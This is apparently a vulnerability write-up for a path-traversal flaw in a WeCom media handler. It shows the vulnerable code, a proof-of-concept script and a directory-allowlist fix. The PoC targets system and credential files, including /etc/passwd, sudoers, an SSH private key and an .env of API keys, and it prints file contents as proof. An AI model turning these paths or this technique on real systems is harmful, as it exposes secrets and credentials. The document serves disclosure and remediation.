# Media source resolution
parsed = urlparse(source)
if parsed.scheme == "file":
    local_path = Path(unquote(parsed.path)).expanduser()     # LINE ~978
else:
    local_path = Path(source).expanduser()

if not local_path.is_absolute():
    local_path = (Path.cwd() / local_path).resolve()         # LINE ~983

if not local_path.exists() or not local_path.is_file():
    raise FileNotFoundError(f"Media file not found: {local_path}")

data = local_path.read_bytes()                                # LINE ~988 — READS ANY FILE

#!/usr/bin/env python3
"""PoC: VULN-006 - WeCom file:// Path Traversal"""

import sys
sys.path.insert(0, '.')

from pathlib import Path
from urllib.parse import unquote, urlparse

print("=== VULN-006: WeCom file:// Path Traversal ===")
print()

# Simulate the vulnerable code path from wecom.py
test_urls = [
    "file:///etc/passwd",
    "file:///etc/hosts",
    "file:///private/etc/sudoers",         # macOS real path
    "file:///Users/yubao/.ssh/id_rsa",     # SSH private key
    "file:///Users/yubao/.hermes/.env",    # Hermes API keys
    "../../etc/passwd",                     # Relative traversal
]

print(f"{'URL':<50} {'Resolves To':<40} {'Exists':>8}")
print("-" * 100)

for url in test_urls:
    parsed = urlparse(url)
    if parsed.scheme == "file":
        local_path = Path(unquote(parsed.path)).expanduser()
    else:
        local_path = Path(url).expanduser()

    if not local_path.is_absolute():
        local_path = (Path.cwd() / local_path).resolve()

    exists = local_path.exists() and local_path.is_file()
    marker = "READABLE" if exists else "not found"
    print(f"  {url:<48} {str(local_path):<40} {marker:>8}")

    if exists and 'passwd' in str(local_path):
        # Show first 3 lines as proof
        print(f"    Content preview:")
        with open(local_path) as f:
            for i, line in enumerate(f):
                if i >= 3:
                    print(f"      ... (truncated)")
                    break
                print(f"      {line.rstrip()}")
        print()

print()
print("[+] CONFIRMED: No directory boundary check on file:// URLs")
print("    Any file readable by the hermes process can be exfiltrated via WeCom")

from hermes_constants import get_hermes_home

_ALLOWED_MEDIA_DIRS = [
    get_hermes_home() / "cache",
    get_hermes_home() / "data",
    Path("/tmp"),
]

def _validate_media_path(local_path: Path) -> None:
    """Ensure media file is within allowed directories."""
    resolved = local_path.resolve()
    for allowed in _ALLOWED_MEDIA_DIRS:
        try:
            resolved.relative_to(allowed.resolve())
            return  # Path is within allowed directory
        except ValueError:
            continue
    raise PermissionError(
        f"Media path '{local_path}' is outside allowed directories. "
        "Only files in cache/data/tmp directories can be sent as media."
    )